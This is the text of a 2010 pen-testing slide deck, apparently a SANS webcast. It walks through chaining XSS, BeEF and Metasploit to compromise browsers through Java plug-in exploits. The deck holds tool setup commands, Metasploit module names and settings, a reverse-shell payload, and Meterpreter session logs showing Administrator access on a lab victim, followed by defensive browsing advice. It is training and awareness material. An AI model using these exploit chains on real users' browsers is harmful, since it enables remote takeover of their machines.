• The web browser
  – Main target of attacks
  – Are we taking risks (…today)?
• Pen-testing
  – XSS: Failed!
• Pen-tester setup
  – Samurai WTF & BeEF & MetaSploit
  – Demo
• Best practices & References
• SANS Webcast: October 1, 2009
  https://www.sans.org/webcasts/sec542-web-application-penetration-testing-ethical-hacking-92868

• SEC 542 preview, plus… SQLi to the limit
  – SqlNinja & Metasploit demo
  – Tool integration for pen-testers (Samurai WTF)
The Web Browser
The Universal & Ubiquitous Client
Can My Browser Be Attacked?

- You only need to visit a single malicious web page... and be vulnerable to a single flaw... on your web browser or any of the installed plug-ins or add-ons... and...

I’m sure I’m forgetting lots of attack vectors...
Can My Web Browser Be P0wn3d?

• Malicious websites
  – Where are you browsing to… at night?
• SEO poisoning (Do you use Google?)
• Bad clicking habits (web, mail, IM…)
  – Clickjacking
• Public & Web 2.0 websites (forums, blogs…)
• Web traffic injection (MitM – wired & wireless)
  – Have you heard about HTTPS?
• Trusted but compromised websites (& Ads)
• XSS on trusted websites
Are Organizations and Users Taking Extra Risks?

- Outdated web browser(s)
- Outdated web browser plug-ins/add-ons/extensions:
  - Adobe Reader, Flash Player, Java, Quick Time, Windows Media Player, RealPlayer…
- Scripts allowed from “everywhere”
- User privileges (OS-level)
- Mobile devices
How Are You Surfing the Web…
...Today?
Are You Sure…?

• Today: November 2, 2010
• Vulnerability announced: October 28, 2010
• Updates: Flash (Nov 9) & PDF (Nov 15)
• APSA10-05 (CVE-2010-3654)
  – Adobe Flash Player, Reader and Acrobat
  – <= 10.1.85.3 & <= 9.4 (9.x)
  – Windows, Mac OS X, Linux/Unix, Solaris, Android…
• Remote code execution
• Vulnerability is being actively exploited in the wild (PDF)
• Adobe Reader & Acrobat 8.x 😊

Can you say… authplay.dll (& others)?
Pen-Testing vs. Incident Handling
Cross-Site Scripting (XSS)

- XSS (JavaScript)
  - Why not name it “web content injection”?
  - Others: HTML, images, Java, Flash, ActiveX…

- XSS types
  - Non-persistent & Persistent & …

- Risk/Impact perception: Low
  - Industry & pen-tests
Most common example: 😞
  – Quick for XSS discovery but…

```html
<script>alert('XSS')</script>
```

How to contribute to change this general perception?
Demoing XSS (2)

• Web application owner:
  – Do you want your visitors and customers to get exploited through your website?

• Company owner:
  – Do you want your users, browsing the web innocently, to become victims of large scale or targeted attacks?

• User:
  – Do you want to become a “zombie”?

XSS: Prevalent & Relevant
Demoing XSS (3)

• Access session cookies:
  – `document.cookie`

• Bypass SOP (Same Origin Policy)

• Control the victim web browser
  – Fingerprinting/Detecting client details (SW)
  – Port scanning internal networks (entry point)
  – Keylogging & clipboard theft & IPC / IPE
  – Exploiting other web browser or plug-in flaws
    • Metasploit integration via XMLRPC
Who is (not) vulnerable to XSS?

xssed.com (≈ last 15 days)
Pen-testing is overrated
Web App Pen-Tester Setup

- Web browser (your choice)
- BeEF (Browser Exploitation Framework)
  - PHP-based: v0.4.0.3
  - Ruby-based: v0.4.1.0-alpha (released on 10/10/10)
- Samurai WTF 0.9 (released on 10/14/10)
- MetaSploit Framework (MSF)
  - Latest SVN or official version: 3.5.0 (2010-10-20)

Advanced attacks through the integration of tools
Updating Metasploit on Samurai 0.9

• Go to “Applications – Samurai SVN”: Metasploit SVN update
  – Update from SVN [U]: U
  – *This process will take several minutes…*
    (Repeat if SSL connection breaks – continue…)
  – Compile Ruby native extensions: yes

• Samurai 0.9 Metasploit default version:
  – v3.4.2-dev - svn r10532 (2010.10.03)
Updating BeEF on Samurai 0.9

• Installing the latest BeEF version (PHP-based): 0.4.0.3 (default version 0.4.0.0)
• Changing the default BeEF password...

```bash
$ cd /tmp
$ svn co https://beef.googlecode.com/svn/trunk \ beef-read-only

$ cd /var/www/
$ sudo mv beef beef-0.4.0.0
$ sudo mv /tmp/beef-read-only beef
$ sudo chown -R www-data:www-data beef

$ sudo vi beef/pw.php
... $passwd = 'BeEFConfigSecret';
```
Launching BeEF & Metasploit

• BeEF:
  – Launch Firefox
  – Go to “Bookmarks – Samurai Tools”:
    Browser Exploit Framework Controller
  – Change IP address and password
  – “Apply Config” – “Finished”

• Metasploit:
  – Go to “Applications – Samurai – Exploitation”:
    Metasploit (≈ /usr/bin/samurai/msf3/msfconsole)
BeEF Setup

**BeEF Configuration**

**Connection (IP Address or URL)**
This is the location that the zombies will connect to (do not include the hook directory). This must match the 'ServerName' value in your http.conf for the modules to work.

```
http://192.168.1.42/beef/
```

**BeEF configuration password**

```
***************
```

Clicking 'Apply Configuration' will remove/replace these configuration files

**BeEF Successfully Configured**

```
Finished
```

---

Copyright © 2010 Taddong S.L.  
www.taddong.com
**About**
BeEF is a browser exploitation framework. Its purpose in life is to provide an easily integratable framework to demonstrate the impact of browser and Cross-site Scripting issues in real-time. The modular structure has allowed the development of new modules to be a simple process.

**What's New**
You will immediately notice the log summary on the main screen. This logs zombie details and module results. It provides access to the zombie pane by clicking on the date. There are two other logs - the zombie log and the raw log. The raw log contains more information than the log summary pane. For more detail refer to the CHANGELOG file.

Changes Summary:
* Integration with Metasploit via XMLRPC
* New browser functionality detection modules
* Command interface support added for Safari
* Tiered logging for module actions and results
* Viewing page content added to the zombie pane
* Set Autorun support added to each module

Copyright © 2006-2010. Wade Alcorn. All Rights Reserved.
Setting Up BeEF & Metasploit Integration - Default

- Go to BeEF “Browser Modules” menu
  – Select the “MSF Browser Exploits” option
• Edit BeEF configuration for Metasploit:

```
$ cat /var/www/beef/VERSION
0.4.0.3
$ cd /var/www/beef/include/
$ sudo vi msf.inc.php

```?

• Adjust Metasploit password and URL:

```
<?php
define('MSF_HOST', '127.0.0.1');
define('MSF_PORT', '55553');
define('MSF_USER', 'msf');
define('MSF_PASS', 'BeEFMSFSecret');
define('MSF_BASE_URL', 'http://192.168.1.42');
?>
```
Metasploit XMLRPC Setup

```
Metasploit
...
...

metasploit v3.5.0-release [core:3.5 api:1.0]
+ -- ---[ 613 exploits - 306 auxiliary
+ -- ---[ 215 payloads - 27 encoders - 8 nops
= [ svn r10767 updated today (2010.10.20)

msf > load xmlrpc Pass=BeEFMSFSecret
[*] XMLRPC Service:    127.0.0.1:55553
[*] XMLRPC Username:   msf
[*] XMLRPC Password:   BeEFMSFSecret
[*] XMLRPC Server Type: Basic
[*] Successfully loaded plugin: xmlrpc
msf >
```
Verify BeEF & Metasploit Integration

- Go to BeEF “Browser Modules” menu
  - Select the “MSF Browser Exploits” option
Ready to Inject XSS Payloads

• Inject the BeEF hook in the vulnerable web application:


• Let’s select a web browser target plug-in!

• SANS Webcast:
  – Elluminate Live! (Java-based)
  – “…works on multiple platforms such as Windows, Mac OS X, Linux, Solaris, etc.” 😊
DEMO: Detecting Java

Module
Detect Java
This module will detect if Java is available in the selected zombie browsers.

Module Result:
Java is available in browser

Zombies
192.168.1.9

Autorun
Disabled

Browser Exploitation Framework - Mozilla Firefox
DEMO: Exploiting Java The Easy Way

• Java RMIClassImpl Deserialization Privilege Escalation Exploit (CVE-2010-0094)
• Java 6 Update <19
• Exploit requirements:
  – Define a value for URIPATH
    Example: “java”
  – Avoid SRVPORT conflicts (in Samurai 0.9)
    Example: TCP/8888 (default is TCP/8080)

exploit/multi/browser/java_rmi_connection_impl
DEMO: Exploiting Java
java_rmi_connection_impl Setup
DEMO: Exploiting Java Metasploit Setup

```
-samurai@samurai:~-

$ /usr/bin/samurai/msf3/msfconsole -r msf_beef_xmlrpc.txt

D     3     0     0
B     8     8     8
B' 8 8 800008 B .0008 8y... 8 8 8 8 8 8
8 8 8 8 8 'yoo' B 'yooP' 'yooP' 8yooP' B 'yooP' 8 8

================================================================================
================================================================================
================================================================================
================================================================================

=[$ metasploit v3.5.0-release [core:3.5 api:1.0]
+---=-[$ 613 exploits - 306 auxiliary
+---=-[$ 215 payloads - 27 encoders - 8 nops
=[$ svn r10767 updated 3 days ago (2010.10.20)

resource (msf_beef_xmlrpc.txt): load xmlrpc Pass=BeEFMSFSecret
[*] XMLRPC Service: 127.0.0.1:55553
[*] XMLRPC Username: msf
[*] XMLRPC Password: BeEFMSFSecret
[*] XMLRPC Server Type: Basic
[*] Successfully loaded plugin: xmlrpc
msf > jobs

Jobs
=====

<table>
<thead>
<tr>
<th>Id</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>0</td>
<td>Exploit: multi/browser/java_rmi_connection_impl</td>
</tr>
</tbody>
</table>
```

Copyright © 2010 Taddong S.L.
www.taddong.com
DEMO: java_ws_arginject_altjvm
Meterpreter Session

```
msf > jobs

Jobs
====

<table>
<thead>
<tr>
<th>Id</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>Exploit: multi/browser/java_rmi_connection_impl</td>
</tr>
</tbody>
</table>

msf > [*] Meterpreter session 1 opened (192.168.1.42:4444 -> 192.168.1.9:2791) at Sat Oct 23 02:48:00 +0200 2010

msf > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer: client-victim
OS : Windows XP 5.1 (x86)

meterpreter > getuid
Server username: Administrator
meterpreter >
```
DEMO: Exploiting Java
The Ninja Way

- Sun **Java** Web Start Plugin Command Line Argument Injection (CVE-2010-0886)
- Java 6 Update \((10 \leq x \leq 19)\)
- Exploit requirements:
  - Metasploit running as root \((sudo)\)
  - SMB not running on pen-tester system
  - WebClient (WebDAV Mini-Redirector) running on target \((by\ default)\)
  - WEBDAV requires \(SRVPORT=80\) and \(URIPATH=/\)
    \((BeEF\ is\ running\ there!!)\)

`exploit/windows/browser/java_ws_arginject_altjvm`
Metasploit Running as ‘root’

```bash
$ sudo /usr/bin/samurai/msf3/msfconsole
```

```
metasploit v3.5.0-release [core:3.5 api:1.0]
+---=[ 613 exploits - 306 auxiliary
+---=[ 215 payloads - 27 encoders - 8 nops
  = [ svn r10767 updated 3 days ago (2010.10.20)

msf > load_xmlrpc Pass=BeEFMSFSecret
[*] XMLRPC Service: 127.0.0.1:55553
[*] XMLRPC Username: msf
[*] XMLRPC Password: BeEFMSFSecret
[*] XMLRPC Server Type: Basic
[*] Successfully loaded plugin: xmlrpc
msf >
```
Avoiding Metasploit & BeEF Binding Conflicts – IP addresses (1)

- Binding conflict on TCP/80:
  - Both BeEF & MSF want the port!
  - Different IP addresses: .42 (BeEF) & .43 (MSF)
Avoiding Metasploit & BeEF Binding Conflicts – IP addresses (2)

• Default Apache setup in Samurai 0.9:
  – Listens on all IP addresses for TCP/80 & 443
  – Change it: Bind Apache just to 127.0.0.1 & IP

• Use script from the Samurai SVN repo:

```bash
$ cd /tmp
$ mkdir svn
$ cd svn
$ svn co https://samurai.svn.sourceforge.net/svnroot/samurai/trunk/misc misc
A    misc/ports.conf
A    misc/change_apache_bindings.sh
...
$ cd misc
```
$ ./change_apache_bindings.sh
After running the script, you won't have access to the default vulnerable websites available in Samurai +0.9 (127.42.84.x)...

Enter the IP address where Apache will listen on:
192.168.1.42

Setting IP address (192.168.1.42) on ports.conf for port TCP/80&443...
Creating a backup copy of the config file in... (sudo)
[sudo] password for samurai:
Copying config files...
Restarting Apache with the new config...

You can restore the default configuration by running:
$ sudo cp /etc/apache2/ports.conf.original /etc/apache2/ports.conf

$ netstat -ant
...

DEMO: Exploiting Java

`java_ws_arginjection_altjvm` Setup (1)

**Module**

Metasploit Browser Exploits

This module creates a Metasploit listener using a backend server, and then sends the client code which creates an Iframe connecting to the waiting exploit.

Setup MSF to allow BeEF access (settings in /beef/ui/msf.php):

```bash
sudo ./msfconsole
msf > load xmrpc Pass=BeEF/MSFPass
```

**Exploit**

```plaintext
windows/browser/java_ws_arginjection_altjvm
```

**Payload**

```plaintext
windows/meterpreter/reverse_ltcp
```

**SRVHOST (required):**

The local host to listen on.

192.168.1.43

**SRVPORT (required):**

The daemon port to listen on

80

**SSLVersion:**

Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)

SSL3

**UNCPath:**

Override the UNC path to use.
DEMO: Exploiting Java
java_ws_arginject_altjvm Setup (2)
DEMO: java_ws_arginject_altjvm

Meterpreter Session

```
msf > load xmlrpc Pass=BeEFMSFSecret
[*] XMLRPC Service: 127.0.0.1:55553
[*] XMLRPC Username: msf
[*] XMLRPC Password: BeEFMSFSecret
[*] XMLRPC Server Type: Basic
[*] Successfully loaded plugin: xmlrpc
msf > jobs

Jobs
=====

<table>
<thead>
<tr>
<th>Id</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Exploit: windows/browser/java_ws_arginject_altjvm</td>
</tr>
</tbody>
</table>

msf > [*] Meterpreter session 1 opened (192.168.1.43:443 -> 192.168.1.9:1051) at Sat Oct 23 01:25:33 +0200 2010

msf > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer: CLIENT-VICTIM
OS : Windows XP (Build 2600, Service Pack 3).
Arch : x86
Language: en_US
meterpreter > getuid
Server username: CLIENT-VICTIM\Administrator
meterpreter >
```
Web Browser Control
Manual Requests (1)
Web Browser Control
Manual Requests (2)

```
msf > jobs

Jobs
=====

Id  Name
0   Exploit: windows/browser/java_ws_arginfect_altjvm

msf > sessions -l

Active sessions
--------------

No active sessions.

msf > [*] Meterpreter session 6 opened (192.168.1.43:443 -> 192.168.1.9:1273) at Sat Oct 23 01:45:45 +0200 2010

msf > sessions -i 6

[*] Starting interaction with 6...

meterpreter > sysinfo
Computer: CLIENT-VICTIM
OS      : Windows XP [Build 2600, Service Pack 3].
Arch    : x86
Language: en_US

meterpreter >
```
Additional Java-based Metasploit modules:

• exploit/multi/browser/java_getsoundbank_bof
  – Java 6 Update 11 or 16 (tested)

• exploit/multi/browser/java_setdifficm_bof
  – Java 6 Update 11 or 16 (tested)

• exploit/multi/browser/java_trusted_chain
  – Java 6 Update <19

• exploit/multi/browser/java_signed_applet
  – Any version (social engineering)

• … and even more exploits for Java 6 Update <= 10
Web Browsing Best Practices

• Install the latest updates before they are released 😊: browser(s) & plug-in(s)
• Browse the web with a regular user
  – Avoid Administrator/root (or Domain Admin 😊)
• Use different browsers for != tasks/actions
• Browser instances “isolation”
• Virtualized environments
  – Snapshots & non-persistent disks
  – Sandboxie
• NoScript (FFox add-on)
This is Just the Beginning…

Browser Exploitation for Fun & Profit Reloaded (SANS @Night)
Nov 29-Dec 4, 2010

TO BE CONTINUED...


References

• Samurai WTF (Web Testing Framework):
  – http://sourceforge.net/projects/samurai/

• BeEF
  – http://www.bindshell.net/tools/beef/
  – https://code.google.com/p/beef/

• MetaSploit Framework (MSF):
  – http://www.metaspoit.com

• SANS Webcast:
  – http://www.sans.org/info/65488

• (Extended) Presentation: blog.taddong.com
References
Java Vulnerabilities

• CVE-2010-0094
  – http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0094

• CVE-2010-0886
  – http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0886
• Web: www.taddong.com
• Blog: blog.taddong.com
• Twitter: @taddong

• Raul Siles: raul@taddong.com